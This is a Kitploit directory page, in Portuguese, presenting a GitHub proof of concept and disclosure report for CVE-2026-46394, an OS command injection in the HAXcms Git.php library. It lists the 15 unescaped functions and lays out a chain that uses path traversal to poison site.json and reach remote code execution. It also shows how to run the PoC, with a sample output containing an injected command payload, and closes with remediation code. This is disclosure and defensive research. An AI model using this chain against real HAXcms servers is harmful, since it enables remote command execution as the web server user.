Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-46394-haxcms-git-command-injection — PoC e relatório para CVE-2026-46394: injeção de comandos do SO em HAXcms Git.php (CWE-78). Apenas pesquisa de segurança autorizada. | Kitploit
Ferramentas/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-46394-haxcms-git-command-injection

PoC e relatório para CVE-2026-46394: injeção de comandos do SO em HAXcms Git.php (CWE-78). Apenas pesquisa de segurança autorizada.

Ver Repositório
há 2 mesesAinda não revisado

CVE-2026-46394 - Injeção de Comando no SO do HAXcms Git.php (CWE-78)

Prova de conceito apenas para testes de segurança autorizados e pesquisa. A vulnerabilidade descrita aqui está corrigida na versão mais recente do HAXcms. Este PoC é publicado para que defensores e pesquisadores possam verificar o problema em instâncias não corrigidas que possuem ou que foram explicitamente autorizados a testar.

CVECVE-2026-46394
ComponenteHAXcms PHP backend - system/backend/php/lib/Git.php
VulnerabilidadeInjeção de Comando no SO (CWE-78)
SeveridadeAlta - CVSS 3.1 7.2 isolado / 8.1 encadeado com path traversal
StatusCorrigido upstream. Afeta versões anteriores ao patch.
Projetoelmsln/HAXcms
RelatorShreyas Challa ([email protected])

Resumo

A biblioteca Git.php no backend PHP do HAXcms constrói strings de comando do shell concatenando parâmetros não sanitizados e os passa diretamente para proc_open(). Das 17 funções que executam comandos do shell, apenas uma (commit()) usa escapeshellarg(). As 15 restantes interpolam a entrada do chamador diretamente na string de comando.

Qualquer valor contendo metacaracteres de shell (&, ;, |, $(), crases) que chegue a uma dessas funções resulta em execução arbitrária de comandos do SO como o usuário do servidor web.

A única função corretamente escapada é a evidência mais clara de que o escape foi compreendido e simplesmente omitido em todos os outros lugares.

Causa raiz

Toda função vulnerável passa por run() → run_command() → proc_open():

root@kitploit:~
// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Exemplo vulnerável vs. a única função segura:

root@kitploit:~
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

Todas as funções afetadas

Exploração em contexto

No código-base distribuído, essas funções são invocadas com valores extraídos da configuração do servidor/site, e não diretamente de corpos de requisição, portanto a exploração é realizada encadeando-se:

  • Path traversal → envenenamento de configuração → RCE: use o path traversal do saveOutline para sobrescrever o site.json de um site, injetando metacaracteres em metadata.site.git.branch. A próxima chamada gitCommit() invoca push('origin', $branch) em HAXCMSSite.php:584, executando o payload.
  • Qualquer outro mecanismo que escreva configurações de branch/remote do git em um manifesto alcança create_branch() (Operations.php:2762) ou set_remote() (HAXCMSSite.php:625).

Executando o PoC

O PoC utiliza a biblioteca Git.php real diretamente: ele cria um repositório git descartável, chama create_branch() com um payload que usa um separador de comando do shell e confirma a execução verificando se um arquivo de prova foi escrito no disco. Ele faz a limpeza após si.

Pré-requisitos

  • PHP CLI (7.x or 8.x)
  • git no PATH
  • Uma cópia do backend PHP do HAXcms
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Executar

Aponte o PoC para o Git.php do seu clone do HAXcms (variável de ambiente ou primeiro argumento); ele também descobre automaticamente haxcms-php/ colocado ao lado dele:

root@kitploit:~
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Funciona tanto no Unix (separador ;) quanto no Windows (separador &); o PoC seleciona automaticamente o payload correto para o SO do host.

Exemplo de saída

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

Remediação

Aplique escapeshellarg() em todos os parâmetros em todas as 15 funções:

root@kitploit:~
// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Defesa em profundidade - valide os valores antes que cheguem à camada git:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Atualize para a versão mais recente do HAXcms, que contém a correção upstream.

Divulgação responsável

Este problema foi reportado aos mantenedores do HAXcms e corrigido antes da publicação. O PoC é lançado apenas após um patch estar disponível. Use-o exclusivamente contra sistemas que você possui ou que foram explicitamente autorizados a testar.

Aviso legal / uso autorizado

Este material é fornecido para pesquisa defensiva, educação e testes de segurança autorizados. Executá-lo contra sistemas sem permissão explícita pode ser ilegal. Você é o único responsável por cumprir todas as leis aplicáveis e por obter autorização antes de testar. Fornecido "no estado em que se encontra" sem garantia (veja LICENSE).

Baixar ferramenta
FunçãoLinhaComando do shellEscapada?
create_branch($branch)574branch $branchNÃO
delete_branch($branch)588branch -d $branchNÃO
checkout($branch)663checkout $branchNÃO
merge($branch)677merge $branch --no-ffNÃO
push($remote, $branch)785push $remote $branch $flagsNÃO
pull($remote, $branch)799pull $remote $branchNÃO
log($format)813log --pretty=format:"$format"NÃO
show($commit, $format)830show --pretty=format:"$format" $commitNÃO
list_tags($pattern)763tag -l $patternNÃO
clone_to($target)512clone --local $repo $targetNÃO
clone_from($source)527clone --local $source $repoNÃO
clone_remote($source)543clone $source $repoNÃO
set_remote($dest, $url)460remote add $dest $urlNÃO
rm($files)479rm $filesNÃO
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: NÃO, $msg: SIM
commit($message)496commit -av -m $messageSIM (única segura)